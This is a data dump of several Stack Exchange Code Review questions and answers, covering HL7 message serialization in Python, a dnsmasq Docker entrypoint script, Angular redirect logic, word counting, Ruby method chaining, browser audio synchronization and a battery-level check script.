"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T21:26:28.937",
"Id": "521170",
"Score": "0",
"body": "The RCU pattern seems great, but it does suffer from two threads erasing each others changes if they both try the Copy/Reset at the same time. I guess it would be unlikely, though."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T23:32:03.217",
"Id": "521175",
"Score": "0",
"body": "I also found this paper: https://www.researchgate.net/publication/328100787_TOWARDS_A_HIGH-LEVEL_C_ABSTRACTION_TO_UTILIZE_THE_READ-COPY-UPDATE_PATTERN which has an interesting implementation here: https://github.com/martong/rcu_ptr. It doesn't seem to suffer from obvious deadlock scenarios but does let you pass in a lambda to copy-and-update."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T09:49:32.757",
"Id": "521195",
"Score": "0",
"body": "Yeah, just skimmed the paper, but it looks like it’s using the same pattern for mutation that I suggested above: first (either under lock or atomically) copy the data, update the copy, then (locked/atomically) replace old data with the new data. Safe, but not very efficient, and of course it also has the issue of one thread’s changes being completely “lost” when another thread’s changes take (but that’s hard to avoid in *any* concurrently shared data scheme; before writing your changes, you’d have to poll for other changes, and then “merge”… the inefficiencies just keep adding up)."
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T22:47:05.410",
"Id": "263881",
"ParentId": "263842",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "263881",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T18:51:02.437",
"Id": "263842",
"Score": "2",
"Tags": [
"c++",
"c++17",
"thread-safety"
],
"Title": "Creating a threadsafe, mutable, global configuration struct wrapper with C++17"
}
|
263842
|
<p>I have an HL7 MLLP message building class I'd like to refactor. The way HL7 over MLLP works is there are multiple fields, usually delimited by the <code>|</code> character. Within the field, there can be lists, delimited by <code>^</code>, and within those lists there can be lists, delimited by <code>&</code>.</p>
<p>So for example, the following structure:</p>
<pre><code>message = ['foo',
['bar', 'baz',
['a', 'b', 'c']
],
'comment']
</code></pre>
<p>will be serialized to the message:</p>
<p><code>serialized = "foo|bar^baz^a&b&c|comment"</code></p>
<p>I've written a simple class whose constructor arguments indicate where in the list of fields you want to place some data, as well as the data itself. The <code>__repr__</code> method is defined for easy use of these objects in f-strings.</p>
<p>This is the class:</p>
<pre><code>class SegmentBuilder:
def __init__(self, segment_type, *args):
if not isinstance(segment_type, str):
raise ValueError("Segment type must be a string")
self.state = {0: segment_type}
for index, value in args:
self.state[index] = value
self.fields = [None for _ in range(1 + max(self.state.keys()))]
def __repr__(self):
# Do a Depth-first string construction
# Join first list using ^, second list using &
# This is ugly, but will work for now
# Could do better with an actual recursive depth-based approach
def clean(obj):
return str(obj) if obj is not None else ''
for index, value in self.state.items():
if not isinstance(value, list):
self.fields[index] = value
else:
subfields = []
for subfield in value:
if not isinstance(subfield, list):
subfields.append(clean(subfield))
else:
subsubfields = []
for subsubfield in subfield:
subsubfields.append(clean(subsubfield))
subfields.append('&'.join(subsubfields))
self.fields[index] = '^'.join(subfields)
return '|'.join([clean(field) for field in self.fields])
</code></pre>
<p>Now, there's clearly a recursive refactoring trying to leap out of this, probably involving some list comprehension as well. I thought it might involve passing an iterator based on the sequence of delimiter characters, eg <code>"|^&"</code>, but the base case had me confused (since you would have to catch <code>StopIteration</code>, and then maybe signal to the caller via returning None?). Any guidance on this recursive refactor would be very helpful!</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T22:40:39.690",
"Id": "521016",
"Score": "2",
"body": "Is the second `bar` in a serialized message supposed to be `baz`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T02:12:08.167",
"Id": "521023",
"Score": "0",
"body": "It is! That was a typo"
}
] |
[
{
"body": "<p>I'm not certain I understand all of the rules, but if you have only 3\ndelimiters, one per level in the hierarchy, then the base case is the level\nnumber or a non-list type. Here's a sketch of one recursive implementation:</p>\n<pre><code>DELIMITERS = ['|', '^', '&']\n\ndef serialize(level, xs):\n if isinstance(xs, list) and level < len(DELIMITERS):\n return DELIMITERS[level].join(\n serialize(level + 1, x)\n for x in xs\n )\n else:\n # Base case: adjust as needed.\n return xs\n</code></pre>\n<p>I suspect your messages might have more variety in the leaf-node data types\n(are ints and floats allowed?). If so, you might need to use <code>return str(xs)</code>\ninstead.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T02:13:04.500",
"Id": "521024",
"Score": "0",
"body": "Brilliant! I like the exception-free approach, also how you constructed the base case conditions!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T00:40:00.083",
"Id": "263850",
"ParentId": "263844",
"Score": "4"
}
},
{
"body": "<p>It's worth saying: I like the recursive implementation better, but it's not the only approach. Consider: you could just do one outer pass for each of the separators, like this:</p>\n<pre><code>from typing import Sequence, Any, Union\n\nStringsOrSeqs = [Union[str, Sequence[Any]]]\n\n\ndef flatten(to_convert: StringsOrSeqs, sep: str) -> StringsOrSeqs:\n for sub in to_convert:\n if isinstance(sub, Sequence) and not isinstance(sub, str):\n for x in sub[:-1]:\n yield x\n yield sep\n yield sub[-1]\n else:\n yield sub\n\n\nmessage = (\n 'foo',\n (\n 'bar', 'baz',\n (\n 'a', 'b', 'c',\n ),\n ),\n 'comment',\n)\n\nto_convert = [message]\nfor sep in '|^&':\n to_convert = list(flatten(to_convert, sep))\nserialized = ''.join(to_convert)\nprint(serialized)\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T01:09:50.303",
"Id": "263884",
"ParentId": "263844",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "263850",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T20:07:10.240",
"Id": "263844",
"Score": "3",
"Tags": [
"python",
"recursion"
],
"Title": "How to refactor an imperative function recursively?"
}
|
263844
|
<p><a href="https://github.com/alphabet5/dnsmasq-docker" rel="nofollow noreferrer">Source code located here</a></p>
<p>I am trying to pass extra parameters from a container to the contained application. The following bash script is working to pass extra variables, but I'm not sure that it's optimal, or a standard method for running a containerized application. Any insight would be appreciated.</p>
<pre class="lang-bsh prettyprint-override"><code>#!/bin/bash
# allow arguments to be passed to dnsmasq
if [[ ${1:0:1} = '-' ]]; then
EXTRA_ARGS="$@"
set --
elif [[ ${1} == dnsmasq || ${1} == $(which dnsmasq) ]]; then
EXTRA_ARGS="${@:2}"
set --
fi
# default behaviour is to launch dnsmasq
if [[ -z ${1} ]]; then
echo "Starting dnsmasq..."
exec $(which dnsmasq) --log-facility=- --keep-in-foreground --no-resolv --no-hosts --strict-order ${EXTRA_ARGS}
else
exec "$@"
fi
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T04:14:05.763",
"Id": "263852",
"Score": "1",
"Tags": [
"bash",
"docker"
],
"Title": "Is this docker entrypoint bash script for passing parameters to the containerized app 'good'?"
}
|
263852
|
<p>I have some code like this</p>
<pre><code> ngOnInit(): void {
this.activatedRoute.url.subscribe(() => {
const token = this.activatedRoute.snapshot.queryParamMap.get('token');
const redirectPage = this.activatedRoute.snapshot.queryParamMap.get('redirectPage');
if (token) {
localStorage.setItem(AuthenticationStorageKey, token);
if (redirectPage) {
this.router.navigate([redirectPage]);
} else {
this.router.navigate(['']);
}
} else {
this.router.navigate([`/error/404`]);
}
});
}
</code></pre>
<p>What I does not like is that I have too many IF and ELSE, anybody knows some better solution, thanks?</p>
|
[] |
[
{
"body": "<h2>Defaults & Ternaries</h2>\n<p>There is nothing wrong with statements.</p>\n<p>However Javascript and most C like languages allow a wide variety of branching styles.</p>\n<p>For example you can default the navigation, and use a ternary <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_operator\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript operator reference. Conditional operator\">? (Conditional operator)</a> to select the redirect option.</p>\n<p>This has only 1 statement <code>if</code> to allow the local storage key to be set. The default navigation removes the last <code>else</code> and the ternary removes the inner <code>if</code> <code>else</code>.</p>\n<pre><code> ngOnInit(): void {\n this.activatedRoute.url.subscribe(() => {\n var navTo = "/error/404";\n const token = this.activatedRoute.snapshot.queryParamMap.get('token');\n if (token) {\n localStorage[AuthenticationStorageKey] = token;\n const redirectPage = this.activatedRoute.snapshot.queryParamMap.get('redirectPage');\n navTo = redirectPage ? redirectPage : "";\n }\n this.router.navigate(navTo);\n });\n }\n</code></pre>\n<p>As all paths through the code result in a redirect thus the last line uses <code>navTo</code> to redirect to the result of the branching.</p>\n<p>This has the effect of reducing the cyclic complexity by 1 (depending on how you measure it)</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T10:42:19.230",
"Id": "263859",
"ParentId": "263855",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "263859",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T08:56:55.623",
"Id": "263855",
"Score": "0",
"Tags": [
"javascript",
"typescript",
"angular-2+"
],
"Title": "Typescript angular queryparams"
}
|
263855
|
<p>I wrote a code that given a string (<code>txt</code>), will print a histogram that contains the number of occurrences of each word in it and the word itself.</p>
<p>A word is defined to be a sequence of chars separated by one space or more.</p>
<p>The code is working, I just want to see if I can improve it.</p>
<pre><code>def PrintWordsOccurence(txt):
lst = [x for x in txt.split(' ') if x != ' ' and x != '']
newlst = list(dict.fromkeys(lst))
for item in newlst:
print("[{0}] {1}".format(lst.count(item),item))
</code></pre>
<p>An input-output example:</p>
<pre><code>>> PrintWordsOccurence("hello code review! this is my code")
[1] hello
[2] code
[1] review!
[1] this
[1] is
[1] my
</code></pre>
<p>The first line creates a list with all words, there will be duplicates in it, so to remove them, I turn the list into a dictionary and then I turn it back to a list.
In the end, for each item in the list, I print the number of its occurrences in the original string and the item itself.</p>
<p>The time complexity of the code is <span class="math-container">\$\Theta(n^2)\$</span></p>
<p>Any suggestions to improve the code?</p>
|
[] |
[
{
"body": "<h3>str.split method without arguments</h3>\n<p>It does the same filtering as you do. Just skip ' ' argument.</p>\n<h3>list(dict.fromkeys(list comprehension))</h3>\n<p>It looks overburdened, right? You can create a set of list comprehension as well:</p>\n<pre><code>newlst = list({x for x in txt.split()})\n</code></pre>\n<p>or just</p>\n<pre><code>newlst = list(set(txt.split()))\n</code></pre>\n<p>but the best way is</p>\n<h3>collections.Counter</h3>\n<p>You're reinventing it with worse time complexity.</p>\n<h3>Format strings</h3>\n<p>f-strings look better (but it depends on your task).</p>\n<h3>Function name</h3>\n<p><a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"noreferrer\">PEP8</a> advices to use lower case with underscores: print_words_occurence</p>\n<h3>All together</h3>\n<pre><code>from collections import Counter\ndef print_words_occurence(txt):\n for word, count in Counter(txt.split()).items():\n print(f"[{count}] {word}")\n</code></pre>\n<p>Also consider dividing an algorithmic part and input/output - like yielding a pair (word, count) from the function and outputting it somewhere else.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T10:34:27.770",
"Id": "263858",
"ParentId": "263856",
"Score": "15"
}
},
{
"body": "<p>This can be improved by implementing a two-line, basic <a href=\"https://en.wikipedia.org/wiki/Bucket_sort\" rel=\"nofollow noreferrer\">counting sort</a> in core python:</p>\n<pre><code>def print_words_occurence(txt):\n wdict = dict()\n for w in txt.strip().split(): \n wdict[w] = wdict.get(w, 0) + 1\n # just to print results\n [print(f"[{wdict[k]}] {k}") for k in wdict.keys()]\n</code></pre>\n<p>The run time is O(n) if the final dict isn't sorted. [If it is sorted, it's still O(n+k).] I don't think anything can be more efficient.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T02:40:59.960",
"Id": "263889",
"ParentId": "263856",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T09:23:05.273",
"Id": "263856",
"Score": "10",
"Tags": [
"python",
"python-3.x"
],
"Title": "Create a words histogram of a given string in python"
}
|
263856
|
<p><code>map</code> is a builtin function that takes one function <code>func</code> and one or more iterables, and maps the function to each element in the iterables. I wrote the following function that does the reverse, but it feels like this is such a basic operation that someone must have done this before, and hopefully given a better name to this.</p>
<p>This appears to be a related question with a slightly different solution:</p>
<ul>
<li><a href="https://stackoverflow.com/questions/35858735/apply-multiple-functions-with-map">https://stackoverflow.com/questions/35858735/apply-multiple-functions-with-map</a></li>
</ul>
<pre><code>from toolz import curry, compose
@curry
def fmap(funcs, x):
return (f(x) for f in funcs)
cases = fmap([str.upper, str.lower, str.title])
tuple_of_cases = compose(tuple, cases)
strings = ['foo', 'bar', 'baz']
list(map(tuple_of_cases, strings))
</code></pre>
|
[] |
[
{
"body": "<p>First and foremost, the code is not working as posted.\nOne has to add <code>from toolz import curry, compose</code>.</p>\n<p>Apart from this I like the solution and striving for more functional programming is probably always better. I also don't know a canonical solution for passing an argument to functions in python</p>\n<p>Things I would definitely change:</p>\n<ol>\n<li>I would not overdo the functional programming syntax. <code>list(map(...))</code> should be IMHO written as list comprehension. Even if one does not cast the result of <code>map</code> to a list, I find a generator comprehension to be more readable.</li>\n</ol>\n<p>Small stuff:</p>\n<ol start=\"2\">\n<li><p><code>fmap</code> could get a docstring.</p>\n</li>\n<li><p>Type information with <code>mypy</code> etc. would be nice.</p>\n</li>\n<li><p>Perhaps <code>through</code> would be a better name for <code>fmap</code>. At least if one peeks to other languages. (<a href=\"https://reference.wolfram.com/language/ref/Through.html\" rel=\"nofollow noreferrer\">https://reference.wolfram.com/language/ref/Through.html</a>)</p>\n</li>\n<li><p>Since <code>strings</code> is a constant, it could become uppercase.</p>\n</li>\n<li><p>Sometimes stuff does not need a separate name if functions are just concatenated and IMHO <code>tuple_of_cases</code> can go.</p>\n</li>\n</ol>\n<pre><code>from toolz import curry, compose\n\n\n@curry\ndef fmap(funcs, x):\n return (f(x) for f in funcs)\n\nSTRINGS = ['foo', 'bar', 'baz']\ncases = compose(tuple, fmap([str.upper, str.lower, str.title]))\n\n[cases(x) for x in STRINGS]\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T15:17:04.400",
"Id": "521046",
"Score": "0",
"body": "I fixed the missing import in my question. I couldn't really find a suitable name for the concept, but I like `through`, thanks for pointing me in that direction."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T15:09:41.187",
"Id": "263865",
"ParentId": "263863",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "263865",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T14:06:21.773",
"Id": "263863",
"Score": "2",
"Tags": [
"python",
"functional-programming"
],
"Title": "map multiple functions to a single input"
}
|
263863
|
<p>I started with the following module:</p>
<pre class="lang-rb prettyprint-override"><code>Module DemoStructure
@json_data = {...} # hash of json data, etc
def self.website_data
@json_data.map { |site_hash| hash.merge({ 'scope' => 'website' }) }
end
def self.find_field(source_data, key)
data = source_data.flat_map { |tmp_data| tmp_data[key] }
data.reject { |setting| setting.to_s.empty? }
end
def self.store_data
find_field(website_data, 'stores')
end
end
</code></pre>
<p>This implementation worked, but I thought it would be more readable if I was able to use <code>find_field</code> <em>on</em> the data it's searching rather than passing the data as an argument. So, I refactored the above to:</p>
<pre class="lang-rb prettyprint-override"><code>module DemoStructure
def self.json
@search ||= { data: {...} } # hash of json data, etc.
end
def self.result
@result ||= { data: {} }
end
def self.find_field(field)
result[:data].map { |setting| setting[field] }
end
def self.website_data
result[:data] =
json[:data].map { |site_hash| site_hash.merge({ 'scope' => 'website' }) }
self
end
def self.store_data
website_data.find_field('stores')
end
end
</code></pre>
<p>Now <code>DemoStructure.website_data.find_field('stores')</code> works as expected, but <code>DemoStructure.website_data</code> doesn't because it returns <code>self</code> rather than the output of the map. So, I added</p>
<pre class="lang-rb prettyprint-override"><code>def self.output
result[:data]
end
</code></pre>
<p>This works, but now I have inconsistency of usage between the <code>website_data.output</code> and
<code>store_data</code> method.</p>
<p>In my mind, if I use <code>website_data</code> without chaining anything, I should get back the map of data as the method name implies. Otherwise, if it's part of a chain, it should return self.</p>
<p>Is this possible? (Some kind of "Is this method part of a chain" check?) Is it a good approach, or better to go back to the first implementation, <code>find_field(data, field)</code>, which handles this use case but is subjectively less elegant?</p>
|
[] |
[
{
"body": "<p>Not sure why you're using a module and not a class. If you want to group data and functionality together, you should use a class.</p>\n<blockquote>\n<p>Is this possible? (Some kind of "Is this method part of a chain" check?) Is it a good approach, or better to go back to the first implementation, find_field(data, field), which handles this use case but is subjectively less elegant?</p>\n</blockquote>\n<p>It's not really clear what you want to do with the result in case you don't chain it. However, I think you want to wrap it into an object and <code>delegate</code> to the data structure (the hash).</p>\n<p>Something like this</p>\n<pre class=\"lang-rb prettyprint-override\"><code>class DemoStructure\n JSON = {} # not sure if this is static or where it's coming from?\n\n # we delegate all not implemented methods to @data\n # delegate_missing_to is implemented in ActiveSupport but\n # depending what you want to do with your result, there \n # are other ways to implement this too\n # https://www.bigbinary.com/blog/rails-5-1-adds-delegate-missing-to\n attr_reader :data\n delegate_missing_to :data\n\n def initialize(data)\n @data = data\n end\n\n def self.website_data\n # We return a new DemoStructure object \n new(JSON[:data].map { |site_hash| site_hash.merge({ 'scope' => 'website' }) })\n end\n\n def find_field(field)\n # return again a new DemoStructure object\n new(result[:data].map { |setting| setting[field] })\n end\nend\n\n# chaining of several find_field works\nDemoStructure.website_data.find_field("foo").find_field("bar")\n# We can call any method implemented on Hash because\n# delegate_missing_to will delegate to it if it's not implemented\n# in DemoStructure\nDemoStructure.website_data.map { |el| el }\n</code></pre>\n<p><a href=\"https://www.bigbinary.com/blog/rails-5-1-adds-delegate-missing-to\" rel=\"nofollow noreferrer\">https://www.bigbinary.com/blog/rails-5-1-adds-delegate-missing-to</a></p>\n<h1>Edit</h1>\n<blockquote>\n<p>In Ruby, there are only three distinctions between classes and modules: only classes can inherit from classes, whereas both modules and classes can inherit from modules. You can only inherit from one class, but from many modules. Only classes can be directly instantiated. So, unless you want to directly instantiate the class, or you are forced to inherit from a class, you should use a module, since it gives both yourself and your clients more freedom.</p>\n</blockquote>\n<p>I think this comment needs some clarification.</p>\n<h3>Modules provide a namespace</h3>\n<p>If you want to logically group things together into a namespace, you should use a module.</p>\n<p>For example, you have search functionality in your app which you want to group together. This will avoid name clashes if you have another <code>User</code> or <code>Product</code> class.</p>\n<pre class=\"lang-rb prettyprint-override\"><code>module Search\n class User\n end\n\n class Product\n end\nend\n\nSearch::User.new\nSearch::Product.new\n</code></pre>\n<h2>Modules provide mixin facility</h2>\n<p>If you have functionality which you want to share between different classes you can use a module to mixin methods. I believe Jörg meant this functionality with inheriting from multiple modules. I wouldn't reference to this as inheritance in the traditional way though (like <code>class Bar < Foo</code>).</p>\n<pre class=\"lang-rb prettyprint-override\"><code>module Commentable\n def comment=(content); end\nend\n\nmodule Persistable\n def persist; end\nend\n\nclass User\n include Commentable\n include Persistable\nend\n\nclass Product\n include Commentable\n include Persistable\nend\n</code></pre>\n<blockquote>\n<p>you should use a module, since it gives both yourself and your clients more freedom.</p>\n</blockquote>\n<p>I definitely don't agree with this statement. Ruby is an object-oriented language and organising your code in classes where you group data and functionality together is a good practice. Most Ruby apps I worked with mostly use modules as namespaces or mixins and the majority of functionality is in classes.</p>\n<blockquote>\n<p>I've seen Fowardable and SimpleDelegator so far, and from what I can tell, SimpleDelegator looks like it handles object delegation while Forwardable handles method delegation.</p>\n</blockquote>\n<p>That's right, <code>Fowardable</code> and <code>SimpleDelegator</code> would both to the job here.</p>\n<p>Here is an example using SimpleDelegator</p>\n<pre class=\"lang-rb prettyprint-override\"><code>class DemoStructure < SimpleDelegator\n def self.from_file(path)\n new(JSON.parse(File.read(path)))\n end\n\n def find_field(field)\n # return again a new DemoStructure object\n new(result[:data].map { |setting| setting[field] })\n end\nend\n</code></pre>\n<blockquote>\n<p>One last question about this approach: What happens if any of the decorators in the chain return nil? Does each separate method need to check whether @data is nil, empty, etc?</p>\n</blockquote>\n<p>You should always make sure that you have an object. If it's empty it shouldn't really matter. So in Ruby you can just always parse to an empty hash with <code>to_h</code> (e.g. <code>nil.to_h => {}</code>).</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T03:45:51.667",
"Id": "521246",
"Score": "0",
"body": "Thanks for this, it’s very helpful. To clarify, if I don’t chain, I want to return The resultant data structure at that point in the chain. In my example, This means returning `data[:result]`. Seems like `delegate_missing_to` allows for exactly that. \n\nThe Json is static and comes from another class, parsed from a file. \n\nAs for why I’m using a module instead of a class, to be honest, I wasn’t clear on when to use one over the other when I wrote this and I’ve since switched all of my modules over to classes. Any insight into the distinction would be welcome."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T10:02:48.143",
"Id": "521252",
"Score": "0",
"body": "In Ruby, there are only three distinctions between classes and modules: only classes can inherit from classes, whereas both modules and classes can inherit from modules. You can only inherit from one class, but from many modules. Only classes can be directly instantiated. So, unless you want to directly instantiate the class, or you are forced to inherit from a class, you should use a module, since it gives both yourself and your clients more freedom."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T05:11:32.090",
"Id": "521278",
"Score": "0",
"body": "Thanks @JörgWMittag! The project I'm working on deals mostly with singletons -- is there any best practice as to whether to use classes or modules in that case?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T05:33:32.733",
"Id": "521279",
"Score": "0",
"body": "@Christian, in your code comments, you mention there are other ways to achieve `delegate_missing_to` which don't rely on ActiveSupport/Rails, etc. Would you mind elaborating on what's available in core ruby to achieve this to make your answer slightly more complete (since I'm not using AS or Rails)? I've seen Fowardable and SimpleDelegator so far, and from what I can tell, SimpleDelegator looks like it handles object delegation while Forwardable handles method delegation."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T13:24:38.363",
"Id": "521296",
"Score": "0",
"body": "One last question about this approach: What happens if any of the decorators in the chain return `nil`? Does each separate method need to check whether `@data` is `nil`, `empty`, etc?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T16:30:28.543",
"Id": "521323",
"Score": "0",
"body": "Added some edits"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T18:38:11.080",
"Id": "521327",
"Score": "0",
"body": "This is a marvelous answer – thank you for the effort."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T18:06:15.000",
"Id": "521478",
"Score": "0",
"body": "Without seeing more of your code this looks a lot like ActiveRecrod's query interface. You might want to look at how that is implemented but basically the `ActiveRecord_Relation` object implements the Enumberable interface which means that when it is used like an Array it acts like one. You could do the same here. You can also look at something like `StrongParameters` which looks like a hash"
}
],
"meta_data": {
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T02:40:42.483",
"Id": "263942",
"ParentId": "263867",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "263942",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T15:59:48.243",
"Id": "263867",
"Score": "0",
"Tags": [
"ruby"
],
"Title": "Ruby: Chaining methods vs methods with arguments?"
}
|
263867
|
<p><strong>Warning: sound</strong> (not loud, and volume is set to 0.5 in the code)
My goal here is to get anyone who enters the webpage synchronized as well as possible.</p>
<p>Say there's some global clock. Since Javascript's <code>Date.now()</code> is based on the device's clock, relying on it isn't good enough.</p>
<p>So, I'm using <code>worldtimeapi</code> which returns the time down to the milliseconds to get <code>diff</code> so that, ideally, <code>Date.now() + diff</code> would evaluate, on any device, to the same value at any given moment. <code>diff</code> is essentially supposed to correct the device's deviation from some global clock.</p>
<p>I can hear the difference when running this on my phone vs. on my laptop, but ultimately I'm not sure how I could possibly tell if this is the best I can expect or if there's a difference that can be reduced with better code and without setting up my own backend NTP.</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>var duration = 27193;
var diff=1000;
var handle = null;
var best_delay = 1000;
var sound = document.getElementById("sound");
var timebox = document.getElementById("time_set");
var start = document.getElementById("start");
sound.volume = 0.5;
sound.onended = (event) => {
play();
}
function play()
{
sound.currentTime = ((Date.now() - diff) % duration)/1000;
sound.play()
}
function gettime() {
console.log("getting time");
try {
clearInterval(handle);
}
catch (error) {}
var start = new Date();
xhttp = new XMLHttpRequest();
xhttp.open("GET", "https://www.worldtimeapi.org/api/Asia/Macau",true);
xhttp.onreadystatechange=function() {
if (xhttp.readyState==4 && xhttp.status == 200) {
let response = JSON.parse(xhttp.responseText);
let time_at = new Date(response.datetime);
let now = Date.now();
let delay = now - start;
let new_diff = now - time_at-delay/2;
if (delay < best_delay)
{
best_delay = delay;
diff = new_diff;
console.log(diff)
}
timebox.innerHTML += diff.toString() + "," + delay;
timebox.innerHTML+="\n";
play();
}
}
xhttp.send(null);
}
start.onclick = function () {
gettime();
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><audio id="sound" src="https://file-examples-com.github.io/uploads/2017/11/file_example_MP3_700KB.mp3" type="audio/mp3" controls preload="auto"></audio>
<textarea id="time_set"></textarea>
<br>
<button id="start">
START
</button></code></pre>
</div>
</div>
</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T05:26:43.663",
"Id": "521181",
"Score": "1",
"body": "You'll need to account for different request speeds. You can measure round trip time to the time server over multiple requests and use the medium. Synchronizing clocks isn't easy, and there's lots of algorithms for it out there that you can Google, all with different weaknesses."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T16:42:14.507",
"Id": "263868",
"Score": "1",
"Tags": [
"javascript",
"html"
],
"Title": "Synchronizing clients in javascript without my own backend"
}
|
263868
|
<p>I'm learning and looking for at least "not bad" quality of my code. Please let me know how should I improve.</p>
<pre><code>#!/usr/bin/env python3
import subprocess
import re
battery_status = subprocess.run('upower -i /org/freedesktop/UPower/devices/battery_BAT0 | grep percentage:',
shell=True, capture_output=True, text=True)
b_strip = re.sub(r"\t\n\s\W", " ", battery_status.stdout)
b_join = "".join([i for i in b_strip if i not in [' ', '%', '\t', '\n']])
b_split = b_join.split(':')
b_result = int(b_split[1])
if b_result >= 30:
print("Safe to work. You have", b_result, "%", "charge left")
else:
print("Please save. You have", b_result, "%", "charge left")
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T17:21:29.530",
"Id": "521048",
"Score": "5",
"body": "This is text parsing code. I suspect you'll increase your chance of getting useful feedback if you show people **the text** – ie, an example output of the relevant `upower` command."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T19:03:43.080",
"Id": "521055",
"Score": "5",
"body": "@BansheePrime Welcome to CR! Please pick a title that describes what the script does. We know you're here because you have a request for improvement; if we all used generic titles like that, it'd be impossible to find anything. Thanks!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T13:16:07.573",
"Id": "521119",
"Score": "2",
"body": "Welcome to the Code Review Community. I think it would be very helpful for you to read our [help section](https://codereview.stackexchange.com/help), especially [How do I ask a good question](https://codereview.stackexchange.com/help/how-to-ask). As @ggorlen pointed out the title needs some work. If your title followed the guidelines better I think you would have scored some up votes on this question."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-17T07:06:21.923",
"Id": "521667",
"Score": "0",
"body": "At this moment, there is still no description in either title or question body as to what this code is supposed to do. Please try to follow the helpful advice you've been provided for your next question."
}
] |
[
{
"body": "<h3>if <strong>name</strong>=="<strong>main</strong>"</h3>\n<p>Common practice is to put the code in functions, and to call those functions from <code>if __name__=="__main__"</code> block. This will allow your file to be reused as a module, because this block will not be executed in the module.</p>\n<h3>Too many variables? No.</h3>\n<p>The number of variables itself is not the problem. Their names is a minor problem; maybe <code>upower_no_whitespaces</code> or something would be better than <code>b_join</code>.</p>\n<h3>Extra processes called</h3>\n<p>Your code calls two external processes: <code>upower</code> and <code>grep</code>. It's ok to do so for a one-shot script; but if you will grow this into some monitoring script, consider using something like <a href=\"https://github.com/wogscpar/upower-python\" rel=\"noreferrer\">upower-python</a> instead of calling upower and/or doing the job of grep inside your program.</p>\n<h3>Twice filtering of whitespaces</h3>\n<p>I'm pretty sure you've tried to filter out whitespaces of the string; but regex doesn't work this way = it looks for a combination of tab(\\t), new line(\\n), any whitespace(\\s) and any non-word character(\\W) in a row together. And after changing this into spaces, you're changing spaces into nothing.</p>\n<p>I think it will be much better to split the string by ':', take the part you need and remove whitespaces, if needed, with .strip() method. Or use .split() without arguments - it will split the string by any whitespace or whitespace group.</p>\n<h3>Error handling</h3>\n<p>Your code lacks any. What will happen if there's no battery on the device? Or if it is called not <code>/org/freedesktop/UPower/devices/battery_BAT0</code>? Or of the format of <code>upower</code> output changes?</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
